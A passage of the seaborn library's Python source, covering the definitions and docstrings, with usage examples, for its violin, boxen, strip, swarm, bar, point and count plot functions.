the violin range within the range\n of the observed data (i.e., to have the same effect as ``trim=True`` in\n ``ggplot``.\n scale : {{\"area\", \"count\", \"width\"}}, optional\n The method used to scale the width of each violin. If ``area``, each\n violin will have the same area. If ``count``, the width of the violins\n will be scaled by the number of observations in that bin. If ``width``,\n each violin will have the same width.\n scale_hue : bool, optional\n When nesting violins using a ``hue`` variable, this parameter\n determines whether the scaling is computed within each level of the\n major grouping variable (``scale_hue=True``) or across all the violins\n on the plot (``scale_hue=False``).\n gridsize : int, optional\n Number of points in the discrete grid used to compute the kernel\n density estimate.\n {width}\n inner : {{\"box\", \"quartile\", \"point\", \"stick\", None}}, optional\n Representation of the datapoints in the violin interior. If ``box``,\n draw a miniature boxplot. If ``quartiles``, draw the quartiles of the\n distribution. If ``point`` or ``stick``, show each underlying\n datapoint. Using ``None`` will draw unadorned violins.\n split : bool, optional\n When using hue nesting with a variable that takes two levels, setting\n ``split`` to True will draw half of a violin for each level. This can\n make it easier to directly compare the distributions.\n {dodge}\n {orient}\n {linewidth}\n {color}\n {palette}\n {saturation}\n {ax_in}\n\n Returns\n -------\n {ax_out}\n\n See Also\n --------\n {boxplot}\n {stripplot}\n {swarmplot}\n {catplot}\n\n Examples\n --------\n\n Draw a single horizontal violinplot:\n\n .. plot::\n :context: close-figs\n\n >>> import seaborn as sns\n >>> sns.set_theme(style=\"whitegrid\")\n >>> tips = sns.load_dataset(\"tips\")\n >>> ax = sns.violinplot(x=tips[\"total_bill\"])\n\n Draw a vertical violinplot grouped by a categorical variable:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.violinplot(x=\"day\", y=\"total_bill\", data=tips)\n\n Draw a violinplot with nested grouping by two categorical variables:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.violinplot(x=\"day\", y=\"total_bill\", hue=\"smoker\",\n ... data=tips, palette=\"muted\")\n\n Draw split violins to compare the across the hue variable:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.violinplot(x=\"day\", y=\"total_bill\", hue=\"smoker\",\n ... data=tips, palette=\"muted\", split=True)\n\n Control violin order by passing an explicit order:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.violinplot(x=\"time\", y=\"tip\", data=tips,\n ... order=[\"Dinner\", \"Lunch\"])\n\n Scale the violin width by the number of observations in each bin:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.violinplot(x=\"day\", y=\"total_bill\", hue=\"sex\",\n ... data=tips, palette=\"Set2\", split=True,\n ... scale=\"count\")\n\n Draw the quartiles as horizontal lines instead of a mini-box:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.violinplot(x=\"day\", y=\"total_bill\", hue=\"sex\",\n ... data=tips, palette=\"Set2\", split=True,\n ... scale=\"count\", inner=\"quartile\")\n\n Show each observation with a stick inside the violin:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.violinplot(x=\"day\", y=\"total_bill\", hue=\"sex\",\n ... data=tips, palette=\"Set2\", split=True,\n ... scale=\"count\", inner=\"stick\")\n\n Scale the density relative to the counts across all bins:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.violinplot(x=\"day\", y=\"total_bill\", hue=\"sex\",\n ... data=tips, palette=\"Set2\", split=True,\n ... scale=\"count\", inner=\"stick\", scale_hue=False)\n\n Use a narrow bandwidth to reduce the amount of smoothing:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.violinplot(x=\"day\", y=\"total_bill\", hue=\"sex\",\n ... data=tips, palette=\"Set2\", split=True,\n ... scale=\"count\", inner=\"stick\",\n ... scale_hue=False, bw=.2)\n\n Draw horizontal violins:\n\n .. plot::\n :context: close-figs\n\n >>> planets = sns.load_dataset(\"planets\")\n >>> ax = sns.violinplot(x=\"orbital_period\", y=\"method\",\n ... data=planets[planets.orbital_period < 1000],\n ... scale=\"width\", palette=\"Set3\")\n\n Don't let density extend past extreme values in the data:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.violinplot(x=\"orbital_period\", y=\"method\",\n ... data=planets[planets.orbital_period < 1000],\n ... cut=0, scale=\"width\", palette=\"Set3\")\n\n Use ``hue`` without changing violin position or width:\n\n .. plot::\n :context: close-figs\n\n >>> tips[\"weekend\"] = tips[\"day\"].isin([\"Sat\", \"Sun\"])\n >>> ax = sns.violinplot(x=\"day\", y=\"total_bill\", hue=\"weekend\",\n ... data=tips, dodge=False)\n\n Use :func:`catplot` to combine a :func:`violinplot` and a\n :class:`FacetGrid`. This allows grouping within additional categorical\n variables. Using :func:`catplot` is safer than using :class:`FacetGrid`\n directly, as it ensures synchronization of variable order across facets:\n\n .. plot::\n :context: close-figs\n\n >>> g = sns.catplot(x=\"sex\", y=\"total_bill\",\n ... hue=\"smoker\", col=\"time\",\n ... data=tips, kind=\"violin\", split=True,\n ... height=4, aspect=.7);\n\n \"\"\").format(**_categorical_docs)\n\n\n@_deprecate_positional_args\ndef boxenplot(\n *,\n x=None, y=None,\n hue=None, data=None,\n order=None, hue_order=None,\n orient=None, color=None, palette=None, saturation=.75,\n width=.8, dodge=True, k_depth='tukey', linewidth=None,\n scale='exponential', outlier_prop=0.007, trust_alpha=0.05, showfliers=True,\n ax=None, **kwargs\n):\n\n plotter = _LVPlotter(x, y, hue, data, order, hue_order,\n orient, color, palette, saturation,\n width, dodge, k_depth, linewidth, scale,\n outlier_prop, trust_alpha, showfliers)\n\n if ax is None:\n ax = plt.gca()\n\n plotter.plot(ax, kwargs)\n return ax\n\n\nboxenplot.__doc__ = dedent(\"\"\"\\\n Draw an enhanced box plot for larger datasets.\n\n This style of plot was originally named a \"letter value\" plot because it\n shows a large number of quantiles that are defined as \"letter values\". It\n is similar to a box plot in plotting a nonparametric representation of a\n distribution in which all features correspond to actual observations. By\n plotting more quantiles, it provides more information about the shape of\n the distribution, particularly in the tails. For a more extensive\n explanation, you can read the paper that introduced the plot:\n\n https://vita.had.co.nz/papers/letter-value-plot.html\n\n {main_api_narrative}\n\n {categorical_narrative}\n\n Parameters\n ----------\n {input_params}\n {categorical_data}\n {order_vars}\n {orient}\n {color}\n {palette}\n {saturation}\n {width}\n {dodge}\n k_depth : {{\"tukey\", \"proportion\", \"trustworthy\", \"full\"}} or scalar,\\\n optional\n The number of boxes, and by extension number of percentiles, to draw.\n All methods are detailed in Wickham's paper. Each makes different\n assumptions about the number of outliers and leverages different\n statistical properties. If \"proportion\", draw no more than\n `outlier_prop` extreme observations. If \"full\", draw `log(n)+1` boxes.\n {linewidth}\n scale : {{\"exponential\", \"linear\", \"area\"}}, optional\n Method to use for the width of the letter value boxes. All give similar\n results visually. \"linear\" reduces the width by a constant linear\n factor, \"exponential\" uses the proportion of data not covered, \"area\"\n is proportional to the percentage of data covered.\n outlier_prop : float, optional\n Proportion of data believed to be outliers. Must be in the range\n (0, 1]. Used to determine the number of boxes to plot when\n `k_depth=\"proportion\"`.\n trust_alpha : float, optional\n Confidence level for a box to be plotted. Used to determine the\n number of boxes to plot when `k_depth=\"trustworthy\"`. Must be in the\n range (0, 1).\n showfliers : bool, optional\n If False, suppress the plotting of outliers.\n {ax_in}\n kwargs : key, value mappings\n Other keyword arguments are passed through to\n :meth:`matplotlib.axes.Axes.plot` and\n :meth:`matplotlib.axes.Axes.scatter`.\n\n Returns\n -------\n {ax_out}\n\n See Also\n --------\n {violinplot}\n {boxplot}\n {catplot}\n\n Examples\n --------\n\n Draw a single horizontal boxen plot:\n\n .. plot::\n :context: close-figs\n\n >>> import seaborn as sns\n >>> sns.set_theme(style=\"whitegrid\")\n >>> tips = sns.load_dataset(\"tips\")\n >>> ax = sns.boxenplot(x=tips[\"total_bill\"])\n\n Draw a vertical boxen plot grouped by a categorical variable:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.boxenplot(x=\"day\", y=\"total_bill\", data=tips)\n\n Draw a letter value plot with nested grouping by two categorical variables:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.boxenplot(x=\"day\", y=\"total_bill\", hue=\"smoker\",\n ... data=tips, palette=\"Set3\")\n\n Draw a boxen plot with nested grouping when some bins are empty:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.boxenplot(x=\"day\", y=\"total_bill\", hue=\"time\",\n ... data=tips, linewidth=2.5)\n\n Control box order by passing an explicit order:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.boxenplot(x=\"time\", y=\"tip\", data=tips,\n ... order=[\"Dinner\", \"Lunch\"])\n\n Draw a boxen plot for each numeric variable in a DataFrame:\n\n .. plot::\n :context: close-figs\n\n >>> iris = sns.load_dataset(\"iris\")\n >>> ax = sns.boxenplot(data=iris, orient=\"h\", palette=\"Set2\")\n\n Use :func:`stripplot` to show the datapoints on top of the boxes:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.boxenplot(x=\"day\", y=\"total_bill\", data=tips,\n ... showfliers=False)\n >>> ax = sns.stripplot(x=\"day\", y=\"total_bill\", data=tips,\n ... size=4, color=\".26\")\n\n Use :func:`catplot` to combine :func:`boxenplot` and a :class:`FacetGrid`.\n This allows grouping within additional categorical variables. Using\n :func:`catplot` is safer than using :class:`FacetGrid` directly, as it\n ensures synchronization of variable order across facets:\n\n .. plot::\n :context: close-figs\n\n >>> g = sns.catplot(x=\"sex\", y=\"total_bill\",\n ... hue=\"smoker\", col=\"time\",\n ... data=tips, kind=\"boxen\",\n ... height=4, aspect=.7);\n\n \"\"\").format(**_categorical_docs)\n\n\n@_deprecate_positional_args\ndef stripplot(\n *,\n x=None, y=None,\n hue=None, data=None,\n order=None, hue_order=None,\n jitter=True, dodge=False, orient=None, color=None, palette=None,\n size=5, edgecolor=\"gray\", linewidth=0, ax=None,\n **kwargs\n):\n\n if \"split\" in kwargs:\n dodge = kwargs.pop(\"split\")\n msg = \"The `split` parameter has been renamed to `dodge`.\"\n warnings.warn(msg, UserWarning)\n\n plotter = _StripPlotter(x, y, hue, data, order, hue_order,\n jitter, dodge, orient, color, palette)\n if ax is None:\n ax = plt.gca()\n\n kwargs.setdefault(\"zorder\", 3)\n size = kwargs.get(\"s\", size)\n if linewidth is None:\n linewidth = size / 10\n if edgecolor == \"gray\":\n edgecolor = plotter.gray\n kwargs.update(dict(s=size ** 2,\n edgecolor=edgecolor,\n linewidth=linewidth))\n\n plotter.plot(ax, kwargs)\n return ax\n\n\nstripplot.__doc__ = dedent(\"\"\"\\\n Draw a scatterplot where one variable is categorical.\n\n A strip plot can be drawn on its own, but it is also a good complement\n to a box or violin plot in cases where you want to show all observations\n along with some representation of the underlying distribution.\n\n {main_api_narrative}\n\n {categorical_narrative}\n\n Parameters\n ----------\n {input_params}\n {categorical_data}\n {order_vars}\n jitter : float, ``True``/``1`` is special-cased, optional\n Amount of jitter (only along the categorical axis) to apply. This\n can be useful when you have many points and they overlap, so that\n it is easier to see the distribution. You can specify the amount\n of jitter (half the width of the uniform random variable support),\n or just use ``True`` for a good default.\n dodge : bool, optional\n When using ``hue`` nesting, setting this to ``True`` will separate\n the strips for different hue levels along the categorical axis.\n Otherwise, the points for each level will be plotted on top of\n each other.\n {orient}\n {color}\n {palette}\n size : float, optional\n Radius of the markers, in points.\n edgecolor : matplotlib color, \"gray\" is special-cased, optional\n Color of the lines around each point. If you pass ``\"gray\"``, the\n brightness is determined by the color palette used for the body\n of the points.\n {linewidth}\n {ax_in}\n kwargs : key, value mappings\n Other keyword arguments are passed through to\n :meth:`matplotlib.axes.Axes.scatter`.\n\n Returns\n -------\n {ax_out}\n\n See Also\n --------\n {swarmplot}\n {boxplot}\n {violinplot}\n {catplot}\n\n Examples\n --------\n\n Draw a single horizontal strip plot:\n\n .. plot::\n :context: close-figs\n\n >>> import seaborn as sns\n >>> sns.set_theme(style=\"whitegrid\")\n >>> tips = sns.load_dataset(\"tips\")\n >>> ax = sns.stripplot(x=tips[\"total_bill\"])\n\n Group the strips by a categorical variable:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.stripplot(x=\"day\", y=\"total_bill\", data=tips)\n\n Use a smaller amount of jitter:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.stripplot(x=\"day\", y=\"total_bill\", data=tips, jitter=0.05)\n\n Draw horizontal strips:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.stripplot(x=\"total_bill\", y=\"day\", data=tips)\n\n Draw outlines around the points:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.stripplot(x=\"total_bill\", y=\"day\", data=tips,\n ... linewidth=1)\n\n Nest the strips within a second categorical variable:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.stripplot(x=\"sex\", y=\"total_bill\", hue=\"day\", data=tips)\n\n Draw each level of the ``hue`` variable at different locations on the\n major categorical axis:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.stripplot(x=\"day\", y=\"total_bill\", hue=\"smoker\",\n ... data=tips, palette=\"Set2\", dodge=True)\n\n Control strip order by passing an explicit order:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.stripplot(x=\"time\", y=\"tip\", data=tips,\n ... order=[\"Dinner\", \"Lunch\"])\n\n Draw strips with large points and different aesthetics:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.stripplot(x=\"day\", y=\"total_bill\", hue=\"smoker\",\n ... data=tips, palette=\"Set2\", size=20, marker=\"D\",\n ... edgecolor=\"gray\", alpha=.25)\n\n Draw strips of observations on top of a box plot:\n\n .. plot::\n :context: close-figs\n\n >>> import numpy as np\n >>> ax = sns.boxplot(x=\"tip\", y=\"day\", data=tips, whis=np.inf)\n >>> ax = sns.stripplot(x=\"tip\", y=\"day\", data=tips, color=\".3\")\n\n Draw strips of observations on top of a violin plot:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.violinplot(x=\"day\", y=\"total_bill\", data=tips,\n ... inner=None, color=\".8\")\n >>> ax = sns.stripplot(x=\"day\", y=\"total_bill\", data=tips)\n\n Use :func:`catplot` to combine a :func:`stripplot` and a\n :class:`FacetGrid`. This allows grouping within additional categorical\n variables. Using :func:`catplot` is safer than using :class:`FacetGrid`\n directly, as it ensures synchronization of variable order across facets:\n\n .. plot::\n :context: close-figs\n\n >>> g = sns.catplot(x=\"sex\", y=\"total_bill\",\n ... hue=\"smoker\", col=\"time\",\n ... data=tips, kind=\"strip\",\n ... height=4, aspect=.7);\n\n \"\"\").format(**_categorical_docs)\n\n\n@_deprecate_positional_args\ndef swarmplot(\n *,\n x=None, y=None,\n hue=None, data=None,\n order=None, hue_order=None,\n dodge=False, orient=None, color=None, palette=None,\n size=5, edgecolor=\"gray\", linewidth=0, ax=None,\n **kwargs\n):\n\n if \"split\" in kwargs:\n dodge = kwargs.pop(\"split\")\n msg = \"The `split` parameter has been renamed to `dodge`.\"\n warnings.warn(msg, UserWarning)\n\n plotter = _SwarmPlotter(x, y, hue, data, order, hue_order,\n dodge, orient, color, palette)\n if ax is None:\n ax = plt.gca()\n\n kwargs.setdefault(\"zorder\", 3)\n size = kwargs.get(\"s\", size)\n if linewidth is None:\n linewidth = size / 10\n if edgecolor == \"gray\":\n edgecolor = plotter.gray\n kwargs.update(dict(s=size ** 2,\n edgecolor=edgecolor,\n linewidth=linewidth))\n\n plotter.plot(ax, kwargs)\n return ax\n\n\nswarmplot.__doc__ = dedent(\"\"\"\\\n Draw a categorical scatterplot with non-overlapping points.\n\n This function is similar to :func:`stripplot`, but the points are adjusted\n (only along the categorical axis) so that they don't overlap. This gives a\n better representation of the distribution of values, but it does not scale\n well to large numbers of observations. This style of plot is sometimes\n called a \"beeswarm\".\n\n A swarm plot can be drawn on its own, but it is also a good complement\n to a box or violin plot in cases where you want to show all observations\n along with some representation of the underlying distribution.\n\n Arranging the points properly requires an accurate transformation between\n data and point coordinates. This means that non-default axis limits must\n be set *before* drawing the plot.\n\n {main_api_narrative}\n\n {categorical_narrative}\n\n Parameters\n ----------\n {input_params}\n {categorical_data}\n {order_vars}\n dodge : bool, optional\n When using ``hue`` nesting, setting this to ``True`` will separate\n the strips for different hue levels along the categorical axis.\n Otherwise, the points for each level will be plotted in one swarm.\n {orient}\n {color}\n {palette}\n size : float, optional\n Radius of the markers, in points.\n edgecolor : matplotlib color, \"gray\" is special-cased, optional\n Color of the lines around each point. If you pass ``\"gray\"``, the\n brightness is determined by the color palette used for the body\n of the points.\n {linewidth}\n {ax_in}\n kwargs : key, value mappings\n Other keyword arguments are passed through to\n :meth:`matplotlib.axes.Axes.scatter`.\n\n Returns\n -------\n {ax_out}\n\n See Also\n --------\n {boxplot}\n {violinplot}\n {stripplot}\n {catplot}\n\n Examples\n --------\n\n Draw a single horizontal swarm plot:\n\n .. plot::\n :context: close-figs\n\n >>> import seaborn as sns\n >>> sns.set_theme(style=\"whitegrid\")\n >>> tips = sns.load_dataset(\"tips\")\n >>> ax = sns.swarmplot(x=tips[\"total_bill\"])\n\n Group the swarms by a categorical variable:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.swarmplot(x=\"day\", y=\"total_bill\", data=tips)\n\n Draw horizontal swarms:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.swarmplot(x=\"total_bill\", y=\"day\", data=tips)\n\n Color the points using a second categorical variable:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.swarmplot(x=\"day\", y=\"total_bill\", hue=\"sex\", data=tips)\n\n Split each level of the ``hue`` variable along the categorical axis:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.swarmplot(x=\"day\", y=\"total_bill\", hue=\"smoker\",\n ... data=tips, palette=\"Set2\", dodge=True)\n\n Control swarm order by passing an explicit order:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.swarmplot(x=\"time\", y=\"total_bill\", data=tips,\n ... order=[\"Dinner\", \"Lunch\"])\n\n Plot using larger points:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.swarmplot(x=\"time\", y=\"total_bill\", data=tips, size=6)\n\n Draw swarms of observations on top of a box plot:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.boxplot(x=\"total_bill\", y=\"day\", data=tips, whis=np.inf)\n >>> ax = sns.swarmplot(x=\"total_bill\", y=\"day\", data=tips, color=\".2\")\n\n Draw swarms of observations on top of a violin plot:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.violinplot(x=\"day\", y=\"total_bill\", data=tips, inner=None)\n >>> ax = sns.swarmplot(x=\"day\", y=\"total_bill\", data=tips,\n ... color=\"white\", edgecolor=\"gray\")\n\n Use :func:`catplot` to combine a :func:`swarmplot` and a\n :class:`FacetGrid`. This allows grouping within additional categorical\n variables. Using :func:`catplot` is safer than using :class:`FacetGrid`\n directly, as it ensures synchronization of variable order across facets:\n\n .. plot::\n :context: close-figs\n\n >>> g = sns.catplot(x=\"sex\", y=\"total_bill\",\n ... hue=\"smoker\", col=\"time\",\n ... data=tips, kind=\"swarm\",\n ... height=4, aspect=.7);\n\n \"\"\").format(**_categorical_docs)\n\n\n@_deprecate_positional_args\ndef barplot(\n *,\n x=None, y=None,\n hue=None, data=None,\n order=None, hue_order=None,\n estimator=np.mean, ci=95, n_boot=1000, units=None, seed=None,\n orient=None, color=None, palette=None, saturation=.75,\n errcolor=\".26\", errwidth=None, capsize=None, dodge=True,\n ax=None,\n **kwargs,\n):\n\n plotter = _BarPlotter(x, y, hue, data, order, hue_order,\n estimator, ci, n_boot, units, seed,\n orient, color, palette, saturation,\n errcolor, errwidth, capsize, dodge)\n\n if ax is None:\n ax = plt.gca()\n\n plotter.plot(ax, kwargs)\n return ax\n\n\nbarplot.__doc__ = dedent(\"\"\"\\\n Show point estimates and confidence intervals as rectangular bars.\n\n A bar plot represents an estimate of central tendency for a numeric\n variable with the height of each rectangle and provides some indication of\n the uncertainty around that estimate using error bars. Bar plots include 0\n in the quantitative axis range, and they are a good choice when 0 is a\n meaningful value for the quantitative variable, and you want to make\n comparisons against it.\n\n For datasets where 0 is not a meaningful value, a point plot will allow you\n to focus on differences between levels of one or more categorical\n variables.\n\n It is also important to keep in mind that a bar plot shows only the mean\n (or other estimator) value, but in many cases it may be more informative to\n show the distribution of values at each level of the categorical variables.\n In that case, other approaches such as a box or violin plot may be more\n appropriate.\n\n {main_api_narrative}\n\n {categorical_narrative}\n\n Parameters\n ----------\n {input_params}\n {categorical_data}\n {order_vars}\n {stat_api_params}\n {orient}\n {color}\n {palette}\n {saturation}\n errcolor : matplotlib color\n Color for the lines that represent the confidence interval.\n {errwidth}\n {capsize}\n {dodge}\n {ax_in}\n kwargs : key, value mappings\n Other keyword arguments are passed through to\n :meth:`matplotlib.axes.Axes.bar`.\n\n Returns\n -------\n {ax_out}\n\n See Also\n --------\n {countplot}\n {pointplot}\n {catplot}\n\n Examples\n --------\n\n Draw a set of vertical bar plots grouped by a categorical variable:\n\n .. plot::\n :context: close-figs\n\n >>> import seaborn as sns\n >>> sns.set_theme(style=\"whitegrid\")\n >>> tips = sns.load_dataset(\"tips\")\n >>> ax = sns.barplot(x=\"day\", y=\"total_bill\", data=tips)\n\n Draw a set of vertical bars with nested grouping by a two variables:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.barplot(x=\"day\", y=\"total_bill\", hue=\"sex\", data=tips)\n\n Draw a set of horizontal bars:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.barplot(x=\"tip\", y=\"day\", data=tips)\n\n Control bar order by passing an explicit order:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.barplot(x=\"time\", y=\"tip\", data=tips,\n ... order=[\"Dinner\", \"Lunch\"])\n\n Use median as the estimate of central tendency:\n\n .. plot::\n :context: close-figs\n\n >>> from numpy import median\n >>> ax = sns.barplot(x=\"day\", y=\"tip\", data=tips, estimator=median)\n\n Show the standard error of the mean with the error bars:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.barplot(x=\"day\", y=\"tip\", data=tips, ci=68)\n\n Show standard deviation of observations instead of a confidence interval:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.barplot(x=\"day\", y=\"tip\", data=tips, ci=\"sd\")\n\n Add \"caps\" to the error bars:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.barplot(x=\"day\", y=\"tip\", data=tips, capsize=.2)\n\n Use a different color palette for the bars:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.barplot(x=\"size\", y=\"total_bill\", data=tips,\n ... palette=\"Blues_d\")\n\n Use ``hue`` without changing bar position or width:\n\n .. plot::\n :context: close-figs\n\n >>> tips[\"weekend\"] = tips[\"day\"].isin([\"Sat\", \"Sun\"])\n >>> ax = sns.barplot(x=\"day\", y=\"total_bill\", hue=\"weekend\",\n ... data=tips, dodge=False)\n\n Plot all bars in a single color:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.barplot(x=\"size\", y=\"total_bill\", data=tips,\n ... color=\"salmon\", saturation=.5)\n\n Use :meth:`matplotlib.axes.Axes.bar` parameters to control the style.\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.barplot(x=\"day\", y=\"total_bill\", data=tips,\n ... linewidth=2.5, facecolor=(1, 1, 1, 0),\n ... errcolor=\".2\", edgecolor=\".2\")\n\n Use :func:`catplot` to combine a :func:`barplot` and a :class:`FacetGrid`.\n This allows grouping within additional categorical variables. Using\n :func:`catplot` is safer than using :class:`FacetGrid` directly, as it\n ensures synchronization of variable order across facets:\n\n .. plot::\n :context: close-figs\n\n >>> g = sns.catplot(x=\"sex\", y=\"total_bill\",\n ... hue=\"smoker\", col=\"time\",\n ... data=tips, kind=\"bar\",\n ... height=4, aspect=.7);\n\n \"\"\").format(**_categorical_docs)\n\n\n@_deprecate_positional_args\ndef pointplot(\n *,\n x=None, y=None,\n hue=None, data=None,\n order=None, hue_order=None,\n estimator=np.mean, ci=95, n_boot=1000, units=None, seed=None,\n markers=\"o\", linestyles=\"-\", dodge=False, join=True, scale=1,\n orient=None, color=None, palette=None, errwidth=None,\n capsize=None, ax=None,\n **kwargs\n):\n\n plotter = _PointPlotter(x, y, hue, data, order, hue_order,\n estimator, ci, n_boot, units, seed,\n markers, linestyles, dodge, join, scale,\n orient, color, palette, errwidth, capsize)\n\n if ax is None:\n ax = plt.gca()\n\n plotter.plot(ax)\n return ax\n\n\npointplot.__doc__ = dedent(\"\"\"\\\n Show point estimates and confidence intervals using scatter plot glyphs.\n\n A point plot represents an estimate of central tendency for a numeric\n variable by the position of scatter plot points and provides some\n indication of the uncertainty around that estimate using error bars.\n\n Point plots can be more useful than bar plots for focusing comparisons\n between different levels of one or more categorical variables. They are\n particularly adept at showing interactions: how the relationship between\n levels of one categorical variable changes across levels of a second\n categorical variable. The lines that join each point from the same ``hue``\n level allow interactions to be judged by differences in slope, which is\n easier for the eyes than comparing the heights of several groups of points\n or bars.\n\n It is important to keep in mind that a point plot shows only the mean (or\n other estimator) value, but in many cases it may be more informative to\n show the distribution of values at each level of the categorical variables.\n In that case, other approaches such as a box or violin plot may be more\n appropriate.\n\n {main_api_narrative}\n\n {categorical_narrative}\n\n Parameters\n ----------\n {input_params}\n {categorical_data}\n {order_vars}\n {stat_api_params}\n markers : string or list of strings, optional\n Markers to use for each of the ``hue`` levels.\n linestyles : string or list of strings, optional\n Line styles to use for each of the ``hue`` levels.\n dodge : bool or float, optional\n Amount to separate the points for each level of the ``hue`` variable\n along the categorical axis.\n join : bool, optional\n If ``True``, lines will be drawn between point estimates at the same\n ``hue`` level.\n scale : float, optional\n Scale factor for the plot elements.\n {orient}\n {color}\n {palette}\n {errwidth}\n {capsize}\n {ax_in}\n\n Returns\n -------\n {ax_out}\n\n See Also\n --------\n {barplot}\n {catplot}\n\n Examples\n --------\n\n Draw a set of vertical point plots grouped by a categorical variable:\n\n .. plot::\n :context: close-figs\n\n >>> import seaborn as sns\n >>> sns.set_theme(style=\"darkgrid\")\n >>> tips = sns.load_dataset(\"tips\")\n >>> ax = sns.pointplot(x=\"time\", y=\"total_bill\", data=tips)\n\n Draw a set of vertical points with nested grouping by a two variables:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.pointplot(x=\"time\", y=\"total_bill\", hue=\"smoker\",\n ... data=tips)\n\n Separate the points for different hue levels along the categorical axis:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.pointplot(x=\"time\", y=\"total_bill\", hue=\"smoker\",\n ... data=tips, dodge=True)\n\n Use a different marker and line style for the hue levels:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.pointplot(x=\"time\", y=\"total_bill\", hue=\"smoker\",\n ... data=tips,\n ... markers=[\"o\", \"x\"],\n ... linestyles=[\"-\", \"--\"])\n\n Draw a set of horizontal points:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.pointplot(x=\"tip\", y=\"day\", data=tips)\n\n Don't draw a line connecting each point:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.pointplot(x=\"tip\", y=\"day\", data=tips, join=False)\n\n Use a different color for a single-layer plot:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.pointplot(x=\"time\", y=\"total_bill\", data=tips,\n ... color=\"#bb3f3f\")\n\n Use a different color palette for the points:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.pointplot(x=\"time\", y=\"total_bill\", hue=\"smoker\",\n ... data=tips, palette=\"Set2\")\n\n Control point order by passing an explicit order:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.pointplot(x=\"time\", y=\"tip\", data=tips,\n ... order=[\"Dinner\", \"Lunch\"])\n\n Use median as the estimate of central tendency:\n\n .. plot::\n :context: close-figs\n\n >>> from numpy import median\n >>> ax = sns.pointplot(x=\"day\", y=\"tip\", data=tips, estimator=median)\n\n Show the standard error of the mean with the error bars:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.pointplot(x=\"day\", y=\"tip\", data=tips, ci=68)\n\n Show standard deviation of observations instead of a confidence interval:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.pointplot(x=\"day\", y=\"tip\", data=tips, ci=\"sd\")\n\n Add \"caps\" to the error bars:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.pointplot(x=\"day\", y=\"tip\", data=tips, capsize=.2)\n\n Use :func:`catplot` to combine a :func:`pointplot` and a\n :class:`FacetGrid`. This allows grouping within additional categorical\n variables. Using :func:`catplot` is safer than using :class:`FacetGrid`\n directly, as it ensures synchronization of variable order across facets:\n\n .. plot::\n :context: close-figs\n\n >>> g = sns.catplot(x=\"sex\", y=\"total_bill\",\n ... hue=\"smoker\", col=\"time\",\n ... data=tips, kind=\"point\",\n ... dodge=True,\n ... height=4, aspect=.7);\n\n \"\"\").format(**_categorical_docs)\n\n\n@_deprecate_positional_args\ndef countplot(\n *,\n x=None, y=None,\n hue=None, data=None,\n order=None, hue_order=None,\n orient=None, color=None, palette=None, saturation=.75,\n dodge=True, ax=None, **kwargs\n):\n\n estimator = len\n ci = None\n n_boot = 0\n units = None\n seed = None\n errcolor = None\n errwidth = None\n capsize = None\n\n if x is None and y is not None:\n orient = \"h\"\n x = y\n elif y is None and x is not None:\n orient = \"v\"\n y = x\n elif x is not None and y is not None:\n raise ValueError(\"Cannot pass values for both `x` and `y`\")\n\n plotter = _CountPlotter(\n x, y, hue, data, order, hue_order,\n estimator, ci, n_boot, units, seed,\n orient, color, palette, saturation,\n errcolor, errwidth, capsize, dodge\n )\n\n plotter.value_label = \"count\"\n\n if ax is None:\n ax = plt.gca()\n\n plotter.plot(ax, kwargs)\n return ax\n\n\ncountplot.__doc__ = dedent(\"\"\"\\\n Show the counts of observations in each categorical bin using bars.\n\n A count plot can be thought of as a histogram across a categorical, instead\n of quantitative, variable. The basic API and options are identical to those\n for :func:`barplot`, so you can compare counts across nested variables.\n\n {main_api_narrative}\n\n {categorical_narrative}\n\n Parameters\n ----------\n {input_params}\n {categorical_data}\n {order_vars}\n {orient}\n {color}\n 